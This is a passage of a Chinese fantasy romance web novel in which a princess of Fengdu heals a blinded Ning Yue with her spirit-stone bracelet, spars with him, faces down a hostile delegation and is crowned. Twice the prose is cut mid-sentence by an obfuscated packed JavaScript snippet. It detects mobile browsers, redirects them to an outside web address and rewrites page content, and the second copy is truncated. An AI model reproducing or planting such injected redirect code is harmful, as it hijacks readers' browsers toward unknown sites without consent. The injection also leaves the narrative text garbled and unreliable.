季疏浅看着他说不出话,沉默不语。 御医也劝道:“殿下您三思,这种晶石极其稀少……为了……”他看了眼宁樾,将剩下的话咽了下去。 季疏浅看了他一眼,淡淡道:“手镯是身外之物,但是先生知道没有眼睛对人来说意味着什么吗?” 她收回目光,看着手上的手镯,忽然想起来这手镯当时给宁樾戴上时,他们俩似乎都摘不下来了。 她心里一紧,却还是抱着试一试的想法,伸手摸上冰凉的镯子,顺势一摘,手镯非常轻松地从手腕上摘了下来。 她愣了愣,居然能摘下来?为什么皎月调中能摘下来但是现实中怎么都取不下来。 不过当务之急不是这个,她眼底含着一丝笑意将手镯递给御医:“先生,您请吧。” “疏浅,不必了。这双眼睛于我而言可有可无。”循声望去,宁樾神色从容,一副若无其事的样子。 季疏浅看着他,凝视着他那副波澜不惊的表情,有一丝愠怒。 “可有可无?那将来有人伤宁瑈时你护得住她吗?你觉得眼下神界会放过你们兄妹吗?”她语气藏不住生气,她不希望宁樾这般自暴自弃。 许是因为她的语气和平时那副冰冷大不相同,宁樾怔了怔没再说话,微微低下了头。 季疏浅看着他,心头有一种说不出的滋味。 老御医见季疏浅语气非常笃定也不敢忤逆她,颤巍巍接过镯子,一狠心将它用灵力从镯子的样子揉回了最初的灵石状。 灵力慢慢将它捏做两团粉色光晕,老御医将他在宁樾眼前一抹,光晕像有了生命一般生出了经络,慢慢落进了宁樾空空的眼眶中。 宁樾眨了眨眼,眉头微微皱着。 “短时间内你还是无法视物,养养或许能重新看见,但是能恢复成如何还是得看造化,注意眼睛不能见强光。” 御医叮嘱了几句,朝季疏浅欠身:“那殿下我回去命人配药,药制好后给您送过来。” 季疏浅点了点头:“好。” 一群人出去后,季疏浅在宁樾身旁坐下:“感觉如何?” “凉凉的,有点不习惯。”宁樾闭上眼,感受塞进眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781661|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眶中的灵石,倒是减轻了之前眼眶传来的阵痛。 “那你睁眼试试呢。”季疏浅想了想,挥手将寝殿中所有光照进来的地方都遮上了。 宁樾缓缓睁眼,眼珠没有任何反应,季疏浅凑近了观察他的眼珠,小声感叹:“看不出来诶。” “不过还是你之前的眼睛好看……”她话没有说完,像你之前的眼睛一样亮亮的,似皎月悬于黑夜。 现在的眼睛看起来没有神采,只有两颗黑玻璃珠静静地躺在眼眶里。 听到她的话,宁樾微微笑了笑,用那双看不见的眼睛循着她声音传来的地方。 “墨语姐姐,我哥哥呢?”少女焦急的声音传来,还伴随着一阵喘息声。 “公主殿下不用担心,我家殿下命御医给你哥哥诊治呢。” 季疏浅听见后冲着宁樾笑了笑:“小瑈醒了。” 她提高了音量:“墨语,让小瑈进来吧。” 话音刚落下,门口就传来焦急的脚步声。宁瑈一袭鹅黄纱裙像飞舞的黄色蝴蝶般扑进来,脸色比起在审判台时好了许多,许是因为一路小跑,脸颊还染上了一抹绯红。 她见到宁樾,一下子就红了眼眶,哽咽道:“哥哥……” 宁樾循着声摸到了宁瑈的一角纱裙,顺势抱住她,轻轻拍了拍她后背:“小瑈没事了,都过去了。” 宁瑈已经泣不成声了,她抽抽嗒嗒地在宁樾怀里嘟囔:“哥哥……你下回不许为了小瑈那样做。” 她抬头看着宁樾,那张布满狰狞伤口的脸让她好不容易止住的眼泪又跟断了线的珍珠一样滴落。 “哥哥你的眼睛还能好吗?”她看着宁樾那双没有神采的眼睛,用手虚虚遮上,但瞳孔却毫无反应。 在一旁看着他们俩的季疏浅笑着揉了揉她脑袋:“会好起来的。” 宁瑈这才反应过来季疏浅的存在,一双泪眼眨巴着看向她:“真的吗?” 季疏浅笑着安慰道:“真的,你相信姐姐。” 珈若说的话都一种镇定人心的作用,宁瑈看着她渐渐止住了眼泪,她蹭了蹭脸上的泪痕:“谢谢姐姐。” 她话音刚落下,忽然身形不稳的颤了颤。 季疏浅眼疾手快一把扶住了她:“小瑈?” “没事。”宁瑈有些虚弱地看着她,微微蹙起眉头。 宁樾看着宁瑈欲言又止,季疏浅察觉到他的神色顿了顿:“墨语你带小瑈回去休息。” 看着她们走后,季疏浅才叹了口气道:“小瑈体内的毒性还没有完全清理掉,这种毒很少见,似乎是来自于南海一带的水族。” 宁樾点了点头:“这毒是神后的,应该不常见。” 季疏浅看着他放轻声音:“你也别担心,会找到解药的。” “麻烦了。” 到了用晚膳的时间,季疏浅想了想,从门口探出了一个脑袋:“宁樾,一起来用点晚膳吧。”说着说着,她就走到宁樾身旁,拉住了他的衣袖。 宁樾微不可察地皱了一下眉头,任由她拉着自己的袖子走出去。 林知意和苏聿已经在长长的玉桌前坐下,墨语贴在林知意身旁有说有笑。被晚霞镀上一层金芒的长廊传来了一前一后的脚步声,他们循着脚步声看去。 玉石砌成了拱顶的走廊,雕花镂空的窗子洒进火红的晚霞,稀疏星辰挂于暮云色天幕。 走廊上拉下两个长长的影子,季疏浅拉着宁樾的衣袖,两人还在低语些什么。桌上三人看着两人这般举止,一时都有些无措。 季疏浅目光看向他们时,林知意收回了意味深长的目光,拨弄着汤勺。 桌上大多都是精致的菜式,季疏浅看了一眼忍不住轻轻叹了一口气,这种华而不实的菜每次都会弄的她没什么食欲,相比之下她还是更喜欢能果腹的东西。 不过都是神了,也确实不需要人类菜式来果腹,大概只是当作仪式进行一下就行。 宁樾察觉到她那声轻叹,微微侧头“看”了她一眼。 季疏浅一回头就对上了宁樾空洞的双眼,她有一时无措,但是想到宁樾现在应该是看不见的暗自松了口气。 “你能自己吃饭吗?”她小声问了一句。 “……可以。” 他给出了肯定的答复季疏浅也就没再多问,转而看向林知意:“阿姐,你和阿哥这几日在做何事啊?” 林知意愣了一下,白皙的脸颊漫上一抹绯红,她垂眸道:“我和苏聿去人界走了走。” 苏聿?以前不都是叫苏公子吗? 季疏浅敏锐地发现了这一小变化,她嫣然含笑,眼中带着一抹狡黠,目光在他们两人身上反复跳跃,直觉告诉她,阿姐和阿哥一定有点什么。 就在她想得入神的时候,一声清脆的碰撞声拉回她的思绪。她望向有些不知所措的宁樾,看着他掉在桌上的筷子沉思一瞬。 她握住那只想要去摸索筷子的手,将筷子递给他:“我给你夹。” 惊异的神色在宁樾脸上一闪而过,他不露声色地点了点头:“多谢。” 51. 月下比剑 入夜的酆都比白日更加冷清,用膳后大家各回了各的殿内,季疏浅则是自己回了大殿上处理事务。 “唉,没想到啊来皎月调里还得批公文。”季疏浅看着四角镶金的桌案上垒起的一摞公文长叹了口气。 这么看来,她曾经在天道山统兵的日子还是挺轻松的。 她看完了最后一份公文,将它往桌上重重的一搁,眉眼舒展开来:“终于弄完了。” 她一身轻松地走出大殿,想着正好有时间逛逛酆都,便在亭台楼阁间悠闲地溜达着。 忽然她站住了脚步,望向不远处。 蜿蜒小路连着一块浮在星河中的岛屿,天上星辰齐聚,她隐约记得这里是酆都的观星台。 身穿月白衣袍的男子身姿如松,手执长剑,剑尖有一抹妖冶的红。月华如水,倾泻而下,满天星辰在这一瞬都失了色。 他轻挥长剑,剑影重重,转瞬间似有惊雷之声。手中的剑也似有生命般,剑舞如龙,游龙戏珠。剑与人合二为一,行云流水间,似一幅画卷展开,气势磅礴万里长卷,囊括四海八荒。 季疏浅看的有一瞬愣神,她一直听说宁樾剑术很厉害,但是听说远不及亲眼看来的震撼。 她忽然找到了一丝兴趣,勾唇一笑,从虚空中抽出长剑,闪身刺去。 宁樾忽觉背后一阵凌厉剑风袭来,侧身用玄天挡下。“锃”的一声响,两把神剑都感觉到了对方的存在,清亮龙啸划破长空。 他辨出了“偷袭”他的人身份时,嘴角不自觉染上一抹笑意,季疏浅也跟着一笑,抽手反身朝他刺去。 宁樾虽然如今眼睛看不见,但他能根据剑气的走势来判断虚华的方向,每一个走位都能避开剑锋。 女子剑身如雪,剑舞间寒气逼人,似凛冬的寒霜绽开。身姿轻盈似燕,旋身间,风起云涌。 而男子剑身似火,剑气雄浑而炽热,似烈焰纷飞。破风而行,与季疏浅交着手。 两人腾空而起,旋身舞剑,星辰流转,似有萤火起舞。皎月当空,长剑似雪,两人比月华更耀眼。 几十个回合后,宁樾忽的皱了皱眉,一个失神,踉跄了一步,季疏浅见他忽然顿住,赶忙一个回拉收回手中长剑。 “你没事吧?”她还以为是宁樾牵动了身上伤口,一时有些愧疚。前世她就很喜欢钻研剑术,到最后剑术比元容与还要更甚,放眼三界难逢敌手,今日对上宁樾,她久违地有种棋逢对手的感觉,打得兴奋了就忘了宁樾身上还有伤。 宁樾摇了摇头:“没事。” 季疏浅没法从他那双空洞的眼睛中读出什么情绪,只能琢磨着他表情。 宁樾忽然严肃地问道:“你……是在模仿我的剑法吗?” “啊?”听到他问这个问题,季疏浅下意识回了一句,后知后觉有些不对。 “……对,学了一点点。”她脑子转的飞快,连忙应上。 她忽然想明白宁樾为什么这样问了,倒吸了一口凉气。 她的剑法是和元容与学的,而元容与师从宁樾,宁樾当然能感觉出这中间的相似之处。 她捏了捏拳头,幸好让他发现了,差一点就要出问题。 听到他这样说,宁樾也没再多问,点了点头换了个话题:“你怎么今日有兴致比剑?” 季疏浅笑了笑,提起比剑,她眼中的疲惫一扫而光:“刚刚见你舞剑,一时起兴,就来会会你。” 宁樾笑了笑没说什么,收起玄天:“你要回寝殿吗?” 季疏浅刚嗯了一声,抬头见就看见漫天星辰。和人界的星辰像洁白的珍珠不同,酆都的满天星辰似璀璨宝石,五颜六色缀于天幕。 她“哇”了一声,明净清澈的眸子目不转睛地看着星辰,嘴角含笑。她回头看向宁樾,忽然才想起来他看不见。 “宁樾,可惜你看不见。”她语气有些惋惜,抛开未来的魔尊宁樾不说,现在的宁樾可以说得上过的很惨了。 她想了想:“我给你描述一下吧。” 她想起来小时候爹爹哄她睡觉给她讲故事时,总是用手指在她掌心画来画去,于是想了想,轻轻执起宁樾的手。 在碰到受伤凹凸不平的伤痕时,她愣怔了一瞬,抬头打量着宁樾的神情。见他面上并无排斥之色后,就将他掌心反过来,有食指轻点。 “天上的星星是这般流动的……”她一边说,一边用手指在他掌心中描画。 掌心一阵酥麻传来,尽管伤口有一阵阵灼烧的痛感,但少女柔软的指尖触在掌心,冰冰凉凉的,让那份灼烧的痛都减轻了几分。 “……星星是五颜六色的,你见过吗,就像是黑色绸缎上缀满宝石一样,好好看。”季疏浅的声音都染上几分笑意,说完扭头看向宁樾。 宁樾也笑着用空洞的眼神望向天空,尽管所见是一片浑浊,但他想象着女子所描述的画面,给眼前无边际的黑添上一颗颗璀璨宝石。 两人就这么无声地看着天幕过了许久。 季疏浅想了想问道:“宁樾……你恨吗?”她仔细琢磨了一下,宁樾要成魔,那就一定要先生出心魔。她想了想,这世间生出心魔无非两种,恨与欲。宁樾显然是前者,所以找着这个机会她要是试探一下。 听到这个问题,宁樾面上挂着的笑容渐渐的隐在夜色里,他沉了口气:“恨。” 季疏浅:!果然如此,但是不对啊……? 她总觉得自己没弄明白这其中的弯弯绕绕,如果自己没在审判台上救下宁樾,他已经灰飞烟灭了啊。 如果现实也是这样,那宁樾根本没有成魔的机会,就已经消散于世间了。 不行,她觉得自己现在简直一团乱麻,她根本不知道曾经发生了什么?宁樾怎么入魔的? 难道说恶灵的封印被提前解开了有关?那皎月调的一切不会都被打乱了吧? 她越想越觉得不对劲,“怎么了?”宁樾见她许久没说话,突然问道。 “嗯……没事……我理解你。”她含糊地说道。 宁樾顿了顿:“……我们回寝殿吧。” 他和季疏浅都可以闪身回寝殿,可俩人不约而同地选择了散步回去。季疏浅拉着他的袖子一角,慢慢地向前走着,宁樾慢慢跟在她身后。 她一边看着眼前宏伟的宫殿,一边在脑海中理着这一团乱麻的思路。而宁樾跟在她身后,慢慢地回想着这些天来发生的事情。 到了寝殿后,宁樾忽然反手握住季疏浅的手腕,季疏浅回头不解地看向他。 “……前几日我都住在你的寝殿里,现在我搬出去吧。” 季疏浅没想到他是说这个:“哦……” 她想了想:“其实没事,你身上有伤不方便换,就住那间吧,我住哪里都行。” 宁樾想了想也是,搬来搬去多添一桩事,就点了点头:“好。” 夜深了,季疏浅刚在书桌前坐下,提笔深思,她决定理一理皎月调中的事情,就听见门口有人道:“殿下,医师已将药配好了。” 她立马将笔搁在黄花梨笔架上,起身接过了那一摞白瓷瓶青绿瓷瓶。 待送药的小仙童走后,她站在门口迟疑一瞬,身体行动却比想法更快,回过神来时她已经站在了宁樾房间门口。 反正都来了,她在心里小声嘀咕着,敲了敲房门。 下一秒,云纹木门在她面前拉开。宁樾一身素净白袍站在门口,胸口半敞开,露出若隐若现的疤痕。 “疏浅?”他不确定地问了问。 “嗯,是我,我来给你上药。”季疏浅轻轻应声。 宁樾微微一愣,她上药说的太过自然,仿佛于他们俩而言十分正常。 以至于他一时没反应过来,“嗯”了一声,侧身让她进屋。 季疏浅跟着他进屋,本想扶着他,却见他已经像很熟悉的样子,走的轻车熟路的。 她跟着他在床榻边坐下,宁樾有些迟疑地看着她:“你……放这里就好了……多谢。” “啊?”季疏浅不解地歪头看着他:“你看不见,怎么给自己上药?” 宁樾沉默了一阵,妥协地说道:“那麻烦了。” 他修长的手指有些犹豫地放在自己衣襟前,最后还是轻轻一拉,月白纱衣从肩头滑落。 季疏浅取了一点褐色药膏轻轻抹在他身上遍布的伤口处,她轻轻给他吹了吹:“……当时应该特别痛吧?” “嗯。”宁樾轻描淡写地将这些带过。 她抬眸看了看他,又将目光移回了伤口处。因为内丹被她修复好了的缘故,宁樾作为神的自愈能力恢复了,伤口好的差不多了。 但是伤口表面还是有些许狰狞,就像是一条条火红的蜈蚣在他身上张牙舞爪。 她在给他背上上药的时候见到那些纵横的伤口中还有许多颜色较深的疤痕:“宁樾,你背上的伤是以前征战留下的吗?” 宁樾想了想:“大多数都是妖兽潮的时候留下的。” 她想了想也是,当年那场妖兽潮震惊六界,据说是上万只妖兽忽然受到刺激大肆攻击人类,几界均被波及。 她记得后世史书上对这件事的记载还算公正,大家猜测的原因是几界过度开发自然资源,天道才降下惩罚,以此为警示。 而书上写的也没什么错,魔界魔君和神族太子联手平息了兽潮,但都损失惨重。 “我也听说过那场妖兽潮来势汹汹,看来真是所言非虚。” 宁樾微微点了点头,神情有一瞬间凝滞,眉眼间似是带着悠远的回忆。 “是啊,当时妖兽太多了,神兵和魔兵一时应付不过来……” 他忽然笑了一下:“当时我舅舅还替我挡了一爪……不是这样他可能不会……”他话没有说完,微微低下了头。 季疏浅看着他的笑容,只觉得这笑中含了说不尽的情绪。 她记得那天元?说的宁景珩旧伤复发,是个千载难逢的好机会,看来宁樾也猜到了这些弯弯绕绕。 她想了想,停下了手上的动作:“宁樾,这不能怪你。” “神帝好攻伐挑起两界战争,错在他,你不用自责,也不要多想,一码归一码。” 她其实不擅长安慰别人,前世她都是在别人的照顾下长大,不需要考虑这些。而后来他们都从她生活中消失后,她觉得自己开始感受不到情绪了,所以对这些也不甚在意。 所以现在,她只能蹩脚地用苍白毫无说服力的语言安慰宁樾。 想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这声音带着几分自嘲,带着几分凉薄,她甚至寻到了几分魔王宁樾的模样。 但等她转念一想,宁樾说的不无道理。前世的她也是如此,在全家被诬陷诛杀后,她曾想过去讨一个公正,可想了想,无论她做多少,他们都不会回来了。 她的家人就这么沦为了权力的一步棋子,神后和宁瑈其实也一样,不过是算计中的一环。 但想归想,她叹了口气,手上抹药膏的动作停下:“宁樾,我能理解你。” “有些公道可以迟来,但是有些人不会再回来了。” 说这句话时,她格外感同身受,连话语间不自觉的染上了伤感的情绪。 宁樾眉头微微皱了皱,他没料到自己戾气这么重的话疏浅居然说她理解,甚至还用一种仿佛知音的语气跟他附和。 “我曾经始终对他抱有一丝幻想,我母神与他虽有私心却也有真情,我以为再怎样他都不会对我们如何。” “但我太低估他的野心了,太低估他对权力的欲望了……也高估了这份亲情。” 一身雪白衣袍的宁樾墨发披肩,眉眼间都是冷意,声音冷硬不含任何情感,满身的伤痕平添了几分脆弱,画风格外诡异。 季疏浅看着他一时无言,在她刚认识宁樾之际她也以为宁樾就是他们口中那个嗜血冷酷的魔王,直到她在皎月调中看到还是天之骄子时的宁樾,她才知道这一切从头就错了。 他不是生来就是那般冷血,而是在无数失望后被蹂躏成一堆腐烂的烂泥,自甘堕落至此。 心中没有在意的人和事了,六界在他眼中也不过如此。 所以为了复仇他才会成为那般吧,但是大仇得报后却发现在意的人不会再回来,那些所谓的快感也就消失了。 她一时心情格外复杂,因为她隐约透过这样的宁樾看到前世的自己。 在槐江山的时候,明知是计,却因了无牵挂,万念俱灰,拉着恶鬼同归于尽。 此时她更觉得这应了曾经她的念头,她和宁樾本质上是一种人。 “是啊,宁樾你们没有错,错在神帝利欲熏心,无所不用其极……”她顺着宁樾的话安慰他,眼中染上淡淡的安慰之意,定定地看着宁樾。 宁樾冷笑一声:“可即便天下的人都知道又如何呢?” 他说着说着,眉眼间戾气越来越深,季疏浅眼见他情绪不对,周身戾气环绕,眉间有一个若隐若现的猩红魔纹,她来不及思索,一掌拍在宁樾的后背上。 淡蓝色的灵力自她掌心晕开,虽看着不起眼,但在遇上张牙舞爪的戾气时却奇迹般地将戾气一点点吞噬殆尽。 “宁樾,你冷静一点。”她严肃道,但话一说完她就后悔了。 季疏浅啊,季疏浅啊,你傻不傻?你进皎月调就是为了在他成魔之时杀了他,他那般不是正合你意吗? 她在心中怒骂自己,不知道自己犯了哪门子蠢,宁樾越是这般戾气缠身越是说明她杀他的时机快到了。 可她偏偏还下意识阻止了他,她看着宁樾周身渐渐淡去的戾气,一时不知道自己犯的是什么蠢。 52. 继位大典 在她心中嘀咕时,宁樾周身的戾气几乎不见了踪影,死死撑着床沿的手突起的青筋一点点平缓。 万念俱灰几近疯狂的情绪将他吞噬,直到肆意疯狂中一股让他有所清醒带着淡淡花香的力量出现,他才察觉到自己的失控。 意念挣扎中,最后的理智支撑着他对抗那份心底深处的疯狂。 尽管眼前是一片深不见底的黑暗,但是他一点点勾勒出女子执掌大权沉稳的模样,也勾勒出她看似不近人情却又不失关切的眼神。 一种他曾经未曾正视过的情感在他心中格外汹涌,正是出于这种情感,他不愿让她见到自己那般模样。 若他真走火入魔了,她应该不会对他手下留情的吧。 他强压着将那份疯狂封锁在心底,不让她再瞧出端倪,转头朝她的方向“看”着。 “疏浅……”但他竟不知道该说些什么好。 季疏浅正在反复琢磨自己到底是中了什么邪,听见他忽然叫了声自己的名字,一时不知道心中到底是什么滋味。 窗外似是风起,瓣瓣落樱起舞,花落无声,却似有声。 季疏浅心中有些纠结,不免看着落花有些走神,以至于她反反复复在一个地方涂抹药膏都没有反应过来。 等她反应过来时,本就有些泛红的伤口被她揉的红了几分,她愣了愣:“啊,对不起,我在想事情……” 宁樾笑了笑:“没事的。” 她看了看他,说不出滋味,只觉得脸颊微微发烫。这时一阵脚步声匆匆传来,堪堪在门口停住。 “殿下。” 墨语?季疏浅一愣,看着宁樾敞开的衣袍犹豫了一瞬,但是听着她的脚步声有些着急,或许是有什么要紧事。 想到这里,她不再思虑什么:“进来吧。” 墨语推门而入,入目即是女子白皙的手指搭在男子的胸膛上,男子的呼吸有些急促,胸膛上下起伏着。 两人还凑的格外近,她的发丝轻轻倚在他的肩上,这样的姿势多少有些暧昧了,很难让她不浮想联翩。 但是短暂的震惊后她迅速接受了这一事实,言归正传:“殿下,神后与南海水君父女二人和妖皇人皇一众人在大殿外……闹着要您出面给个交代。” “交代?”季疏浅不解,语气染上了淡淡寒意。 墨语一身黑袍,编织的暗红色腰带勾勒出纤细的腰身,脊背直挺挺的,墨发用银冠束起,任人见了都要夸一句英姿飒爽。 只是她现在脸色不大好看,语气和季疏浅如出一辙:“他们说殿下您名不正言不顺,要您放了神帝。” “名不正言不顺?”季疏浅冷笑一声,这是找的哪门子茬。 她暗暗揣摩着神后他们的心理,大概是觉得她年纪尚轻好拿捏,想通过几界联手来给她制造压力。 她觉得有几分好笑,也觉得讽刺。他们从不管什么是正义,只在乎眼前自己的利益,所以才会如此颠倒黑白。 对他们来说,对与错并不重要,重要的是对他们而言是对还是错。 “我去会会他们。”季疏浅说完将手中的药罐往桌上一搁,碰撞发出了清脆的声响。 说完,她略有迟疑地看了看宁樾,语气不经意间轻柔了许多:“我去去就回,你好好休息。” 宁樾心中清楚自己这时并不适合与她同去,非常有自知之明地将垂下的衣袍向上一拢,乖乖地靠在床榻上。 季疏浅看着他也没多说什么,眨眼间来到大殿外。景象翻天覆地,大殿外人群声势浩大,为首的神后一见她来,如临大敌般挺直了脊背。 她扫了一眼台下众人,暗紫色衣裙的神后一马当先,身旁与她长得有几分相似的男子也同样怒视着她,还有曾打过照面的妖皇与人皇。 她微微抬起下巴,感受肆意的晚风,夜风吹起发丝,墨发随风乱舞。她沉默地看着他们,静静站在台上。 僵持了一小会儿,台下众人都有些不明所以,面面相觑,神色都不太好看,却也没有一个人敢出声。 “诸位有何不满,尽管说。”听起来还算一句客气话,但她的语气寒的让台下众人大气不敢出。 或许是想着帮女儿出出这口气,站在最前面的南海水君看了一眼低头不语的神后,眉头紧锁,高声道:“酆都公主扣留神帝意欲何为?公主殿下如今未行继位大礼,还未正式坐上这酆都大帝之位,架子倒是先摆出来了。” 一听他说话,众人纷纷起哄:“是啊,是啊。”其实他们心里明白,这就是无理取闹,她坐上这个位置是早晚的事,但无非是赌一把这招能唬住这位年纪尚轻的酆都公主。 墨语鄙夷地看着众人,再扭头看向季疏浅揣摩着她心中的想法。季疏浅注意到她的目光,也微微侧过头看着她,眼底寒意一点点绽开来。 墨语留意到她的眼神,顿了顿,冷声呵斥道:“尔等岂敢对神女无礼!退下!” 话毕,她凌空抽出一条银蛇般的长鞭,手臂一挥,劲风驶过,长鞭“啪”的一声甩到神后他们面前,将面前的玉石砖刹那间击的粉碎。 玉石碎裂声清脆,飞溅起的玉石重重砸在地面上,继而碎成一小块一小块碎片,美玉虽碎,但仍在地上发出润泽的光,在地面被生生豁开的这道口子处流光溢彩,狼藉中独美。 神后一众人被她这一鞭吓得不轻,神后那张引以为傲的美艳的脸上有一瞬惊愕。 季疏浅敛去眼底浮现的笑意,浑身透着淡淡的寒意:“既然今日诸位远道而来,有些话我也在这里说清楚了。” “神帝因一己私欲罔顾两界约定挑起战争,生灵涂炭,民不聊生,这就是罪。” “诸位见过神魔大战的惨状,十万大山焦土遍布,血染白雪,满城的百姓尸骨未寒,这不是罪是何?” 她一时气急,似水双眸透着淡淡冰冷,衣裙随夜风翻飞,隐隐间是深蕴着昂然于天地间的尊贵和压迫。 她长舒一口气,扫视他们一眼,语气归于平静:“你们还有什么想说的吗?” 众人无一人出声,最前面的神后微微侧头看见沉默的众人,眼底是藏不住的失望,她咬咬牙道:“那公主殿下如今的身份也不适合出面解决此事吧?” 听到她的话,季疏浅不怒反笑:“那神后娘娘的意思是,小辈该将此事交由你来处理吗?” 在场的人都听出了这句话中的意味,神后抬眸怒视着她,季疏浅冲她微微一笑,移开了目光:“酆都将在两日后举行继位大典,届时欢迎诸位到来。” 说罢,她淡淡笑了笑:“今日若无事,我就不奉陪了。” 墨语明白了她的意思,传音给她:“殿下那我们走吗?” “走,不用理会他们。”说罢,她化作一滩莹莹星辰消失在了众人的视线中。 回到寝殿外,少女悦耳的笑声阵阵传来,她不用想也知道这是谁的笑声,于是悄悄走到房门口,看着没有掩上的内室。 宁瑈脸色依旧苍白如纸,但她的神情却看不出丝毫憔悴,反而是活力十足。她笑盈盈地看着宁樾,捏着宁樾的手指自玉简上划过,逗笑道:“哥,你感受到了吗?” 宁樾也陪她笑道:“嗯,小瑈聪明。” “哼。”宁瑈软软的应了一声,撅起桃花瓣般的唇:“那你说说写的啥。” 宁樾迟疑地皱了下眉头,修长的手指一点点摸索着玉简:“多…情只有春庭月,犹为…离人照落花。”他说完,眉头微不可查的皱了一下,捏着玉简的手指有些泛白。 季疏浅在门口听着这句诗生出几分造化弄人之感,她看了一眼这对反应不太正常的兄妹,感慨道或许冥冥之中自有天意,让他们兄妹俩选了这么句应景的诗。 宁瑈有些尴尬,脸色更加惨白了几分,她有些局促地抿着唇,想了想一把把宁樾手上的玉简夺了过去。 她瞥了一眼玉简的末简,嘀咕了一声:“原来是人界的诗集,写的好归好,就是……”她的声音越来越小,最后便渐渐没了声儿。 宁樾附和地跟着她笑了笑,但眼底的笑意顷刻间便烟消云散了。他睁开眼,双眼空洞又麻木,许是想到了什么他面色稍稍柔和了些:“小瑈,近日用过药后,身子好些了吗?” “嗯嗯。”宁瑈见他岔开话题,连忙点了点头:“哥,我再把药热热。”她自掌心燃起一小簇火苗,捧起白瓷药碗,让跳跃的火苗围住瓷碗。 季疏浅看着他们这一幕浅浅笑了笑,以前的她就格外希望自己能有个弟弟妹妹,那时还是孩童的她天天围在她爹爹身旁撒娇闹道:“爹爹,爹爹,你什么时候和娘亲给我生个弟弟妹妹,浅浅也想要弟弟妹妹……” 那时她想象中和弟弟妹妹们的相处,就是宁樾和宁瑈这般……是家人,也是患难中可以相互搀扶的人。 她敛起笑容,正色走了进去:“宁樾。” 宁樾寻声望了过来,有些担心道:“疏浅?没发生什么事吧?” “没有,虚张声势罢了。”她顿了顿:“但是我得将继位大典提上日程。” 宁瑈一听,葡萄般的眼珠子转了一圈:“姐姐要继任酆都大帝啦?” “嗯。” 宁瑈绽开一个甜甜的笑容,两个酒窝若隐若现,她拉起季疏浅的衣袖晃了晃:“姐姐,你是酆都第一位女帝诶!我和哥哥可以来你的继位大典吗?” 季疏浅笑了笑:“当然可以呀,你们跟着墨语就好了。” 一旁的宁樾迟迟没出声,神情有些莫测。 “小瑈,御医说你要好好休息,时辰也不早了,你早点回去休息。” 季疏浅看向宁樾,半晌垂下了眼睫。 宁瑈有些不明所以地看着他,但还是乖乖地点头应了声:“好,小瑈回去休息了。”说完她就捉着裙摆,闪身离开了。 待她走后,季疏浅抬起眼皮看向宁樾:“你有话说吗?” 宁樾笑了笑,不置可否。 “你父神的事我很抱歉,疏浅你可知……酆都大帝之责有多难担?” 季疏浅原以为他是想问问自己大殿外发生的事,没想到他突然说到这个。“你怎么突然问起这个?” 宁樾长长的眼睫在眼下扫出一片阴影,一身的伤痕仍有些触目惊心。他犹豫着开口:“协调六界事务是件很难做的事……况且下一回恶灵冲破封印之时就是你……你想清楚了吗?” 他话没说完,但季疏浅知道他想说什么。她一瞬僵硬,手不自然的握成拳,其实她根本不是珈若,这一切也只是大梦一场,可她能真真实实感受到宁樾对她的关心。 这个六界纷争尔虞我诈,可唯独有这么一人问了她的感受。 她一时不知道说什么,本想好了以珈若的性子会说出怎样的话,可一番思虑后,她不想瞒他了,毫无保留地向他敞开了心扉:“想清楚了。” “在其位谋其职,我享着世人的赞誉,占着六界无上的权力,坐拥无数的财富,相应的这就是我的责任。” 花落无声,宁樾没有出声,他点 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季疏浅站在倾泻而下的阳光中,墨发如绸缎般披下,肤白胜雪,双眸似有若隐若现的浅金色。她穿了一席月牙白的锦缎裙,金线在胸口绣出两只展翅的神鸟,裙摆处也细细绣上繁复而华丽的花鸟图,再用神鸟的尾羽加以点缀,尊贵无二。 在看到今日来了这么多人,其实一开始她还有些紧张。但是一想到自己原来也是天道山的大将军,带领数以万计的士兵,好像这里也没有那么多人了。 她想象着自己是在天道山,握紧手中的虚华剑,不易察觉地吸了一口气,一步步沿着玉阶朝上走去。 星辰轮转,她每一步都伴着星光溢开,在众人的目睹下她一步步登上了观星台。 余光中她瞥到了坐在下一阶冲她微笑的林知意和苏聿,还有一旁的宁瑈和戴着面具的宁樾,在无数陌生的面孔中看到这几个熟悉的面孔,一时心底暖暖的,她不自觉勾了勾唇角。 观星台上,墨语眼眶泛红,笑着看着她,轻启绯唇:“殿下。” 季疏浅背对着众人,朝她一笑,随后走到老者旁,微微欠身。她在珈若的记忆里寻到对这位老者的一些印象,似乎是他父神最信任的一位大臣。 老者笑吟吟又不失庄重地看着她:“珈若,你会是酆都第一位女帝。” 季疏浅淡淡笑了笑,心里想着:何止是第一位女帝,也是酆都最后一位女帝了。 老者收起面上笑容,居高临下地看向众人:“酆都大帝以身护苍生,如今六界纷争,不可无主。酆都公主珈若按例接任酆都大帝之位。” 他的声音浑厚而洪亮:“吉时,礼成!” 季疏浅将虚华转了一圈,剑尖直指天幕,郑重立誓道:“珈若执虚华于此,与天立誓,以身佑苍生,万死而无悔!” 言毕,她手腕一转,将虚华插在观星台上,劲风舞动衣裙,白衣翻飞。刹那间,点点星辰四起,满天繁星都不及她耀眼。 礼成后,按例她要给每一界的掌权者推杯换盏,她接过墨语手中的玉杯,正准备朝下走去时,一直羽箭破风而来。 她轻轻掐了个诀,但没想到这一箭在中途就被一把长剑拦腰斩断。她顺着那把剑看去,刚刚还张牙舞爪的剑现在乖乖落在深蓝锦袍公子的手里。 宁樾……她愣了愣,闪身到他身边,小声道:“你才好多久?现在动用剑气万一伤到筋脉了怎么办?” 宁樾银白色的面具遮住了神情:“没事的,你小心。” 